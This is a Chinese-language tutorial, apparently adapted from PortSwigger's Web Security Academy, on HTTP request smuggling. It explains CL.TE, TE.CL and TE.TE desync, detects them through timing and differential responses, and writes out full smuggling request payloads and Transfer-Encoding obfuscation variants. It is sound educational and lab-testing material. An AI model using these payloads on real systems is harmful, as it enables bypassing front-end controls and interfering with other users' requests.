什么是 HTTP 请求走私?
由于后端解析 HTTP 请求的实现存在漏洞, 使得攻击者可以构造一个请求, 这个请求可以被后端解析为多个请求, 就达到了将请求”走私”到后端;
通过此方法, 可以绕过一些反代的检查, 或者后端对于请求头的检查, 处理等.
注意, 之后提到的前端服务, 后端服务指的是两个服务产生的服务链, 并非通俗意义的前端与后端
请求走私是如何产生的?
许多请求走私的发生是因为 HTTP/1 规范提供了两种不同的方法来指定请求的结束位置: Content-Length 头和 Transfer-Encoding 头.
Content-Length 头非常简单, 他指定了当前请求的 body 的长度(单位为字节);
而 Transfer-Encoding 头可以指定 body 使用分块编码, 这意味着当前的 body 包含着若干数据块, 每个快由若干字节组成, 以换行符为分隔, 直到块的大小为零. 这里给出一个示例:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
由于 HTTP/1 提供了两种不同的方法来指定 HTTP 消息的产读, 因此单个消息可以同时使用这两种方法, 从而使他们产生冲突. 根据 HTTP 规范, 同时存在这两种头时, 应当忽略 Content-Length . 这在单个服务的情况下是有效的, 但是当存在更多服务组成的服务链时, 就可能会发生意外, 原因如下:
- 某些服务不支持
Transfer-Encoding标头. - 如果
Transfer-Encoding被以某种方式混淆, 使得该服务不处理这个标头
如果前端服务与后端服务的行为因为对 Transfer-Encoding 标头的不同的处理而产生了不同的行为, 那么这两个服务可能会对连续的请求之间的边界产生混淆, 从而导致请求走私.
当然, 这是一种比较经典的, 具备一定泛用性的请求走私手段, 根据服务的解析不同, 也可能存在诸多针对性的走私方法.
使用
HTTP/2的服务本质上不受这类请求走私攻击的影响, 因为其单个报文由多个帧组成, 每个帧有一定的长度, 并设定在每个帧的头子段, 不会产生混淆.然而在实际环境中, 有许多
HTTP/2只部署在其前端服务上, 后端服务只支持HTTP/1, 这使得在前端服务将请求转发给后端服务时必须将其转换为HTTP/1的形式, 这就是 HTTP降级, 如此一来还是存在走私风险的.具体再述.
攻击手法
经典的请求走私攻击会在同一个请求中同时设定 Content-Length 和 Transfer-Encoding, 使得前端服务和后端服务对其产生不同步操作, 如何设定主要取决于两个服务器的具体行为:
- CL. TE: 前端服务使用
Content-Length解析, 后端服务用Transfer-Encoding解析. 后略 - TE. CL
- TE. TE
这些手法只能使用 HTTP/1 进行攻击. 浏览器或者其他客户端与服务器进行 TLS 握手时, 若服务器表明支持 HTTP/2 , 会默认使用 HTTP/2 进行通信, 因此在测试支持 HTTP/2 的服务时需要手动更换协议.
CL. TE 漏洞
这里可以直接给出一个列子:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
在前端服务, 它解析 Content-Length 头来判定报文长度, 在这里, 它将 body 中的所有内容全部视作当前请求的内容. 而转发至后端服务后, 后端服务认为, 到 0 为止为第一个请求, 而之后的就是第二个请求了, 这里 SMUGGLED 的内容就被认为是下一个请求报文, 达到走私这个报文的目的.
TE. CL 漏洞
这里给出一个例子:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
前端解析 Transfer-Encoding 头, 认为这是同一个请求报文. 而后端解析中, Cotent-Length 为 3 , 使得从 SMUGGLED 开始被认为是第二个请求报文, 这里由于 body 第一行隐藏了 \r\n 故长度为 3 . 故将其之后的所有内容视作下一个请求报文, 达到走私这个报文的目的. 至于冗余的 0 , 可以考虑忽略, 并不会产生什么影响
TE. TE 漏洞
触发此类型的漏洞的思路就是混淆 TE 头来使得前端服务和后端服务解析不同步. 例如下列尝试:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
由于实现 HTTP 头解析的是开发者, 很难兼顾所有可能性(尤其是小型解析器), 所以混淆的方法是非常多样的.
如何判定是否存在请求走私
接下来讲述如何查找某个站点是否存在请求走私漏洞
通过时间差异来判定
测试请求走私普遍有效的方式是发送一个 如果存在此漏洞, 就会会产生延迟 的请求, 在 Burp 自带的扫描器中, 就是用这种方式来检测请求走私的.
针对 CL. TE 类型走私的时序检查
我们可以构造类似于如下请求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
由于前端服务使用 CL 来判定 body 长度, 所以在前端服务这是一个请求, 会省略 X 的内容. 然而后端服务解析时会认为还会有接下来的块, 并开始等待, 就是这个过程产生了延时, 使得我们能够推断其可能存在解析差异, 进而尝试其他的攻击载荷.
针对 TE. CL 类型走私的检查
可以和前述方式类比, 构造如下测试请求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
前端服务解析其为单个请求报文, 并且忽略0之后的内容. 后端服务解析时, 指定 body 长度为6, 然而其长度并不够, 所以会等待继续传输, 从而产生延迟
注意, 如果对一个存在 CL. TE 漏洞的站点测试 TE. CL 测试, 则可能会意外导致其他用户的请求意外拼接在我们的测试后, 进而产生一些影响. 举个例子, 我们用一下请求测试一个实际存在 CL. TE
漏洞的站点:POST /test HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 100 Connection: keep-alive 5 AAAAA 0 MORE_TEST_DATA首先, 我们原本期待
MORE_TEST_DATA是不会到达后端服务的, 从而卡住后端服务; 但是现在不一样了, 前端服务解析后将MORE_TEST_DATA的部分或者全部内容全部转发至后端, 而后端会将这部分内容当作第二个请求解析.此时如果有无辜用户的请求进入后端服务的处理缓冲区(TCP缓冲区), 而这个请求之前其实还存在我们的
MORE_TEST_DATA, 服务会将它和用户请求当作同个请求解析, 造成问题.
通过响应差异来判定
使用时间延迟可能存在请求走私可能的情况下, 可以继续根据响应的不同来确定其存在. 我们向应用程序连续发送两个请求:
- 第一个请求, 旨在影响下一个请求的结果
- 一个看似正常的请求
如果正常请求的响应存在预期的干扰, 则可以实锤漏洞的存在. 给出一个例子, 假设正常的请求如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
接下来我们分攻击类型来分析干扰请求需要如何构造
根据响应差异来确定 CL. TE 漏洞
在发送正常请求前, 发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果请求走私成功, 那么后续的”正常”请求就会将会变成如下样式:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
现在, 由于此请求包含了无效URL(或者确实存在404这个页面), 服务器将会以状态吗响应, 表明前述的攻击确实干扰到他了.
根据响应差异来确定 TE. CL 漏洞
在发送正常请求前, 发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
现在, 由于此请求包含了无效URL(或者确实存在404这个页面), 服务器将会以状态吗响应, 表明前述的攻击确实干扰到他了.
注意事项
- 在测试时不可复用连接, 因为复用连接的情况下无法判定是请求走私发生了还是仅仅是多个请求的结果
- 两次请求要尽量使用相同的URL和参数名称. 因为许多前端服务根据他们将请求分发到不同的后端服务, 使用相同的URL和参数名可以增加同一后端处理的可能性
- 在测试时如果存在其他请求的干扰, 将会产生竞争, 因为可能我们的恶意请求会拼接上其他请求而非我们构造的那个请求
- 如果测试成功, 但是受到影响的并非是我方发出的下一个”正常请求”, 这就说明这次测试干涉到了其他用户, 此时应当谨慎行事.
实际应用上的一些注意点
本部分为个人总结, 测试数据来自PortSwigger的Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
在利用响应差异确认请求走私漏洞存在时要注意一下几点:
可以用更为简单的方式测试, 比如对于提到的Lab环境, 就可以直接发送两次如下请求:
POST / HTTP/1.1 Host: your-lab-subhost.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5e GET /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 x=11 0这里还有很多东西是灵活的, 比如请求方式, 走私请求报文中的
Content-Length, 之后带的参数, 很多都是为了符合格式而设定的关于走私请求报文中的
Content-Length, 最小要大于拼接前的实际长度, 最大最好不要大于拼接后的实际长度, 在这个区间内也是可以变动的在测试之前要将
HTTP设定为HTTP/1.
翻译整合自: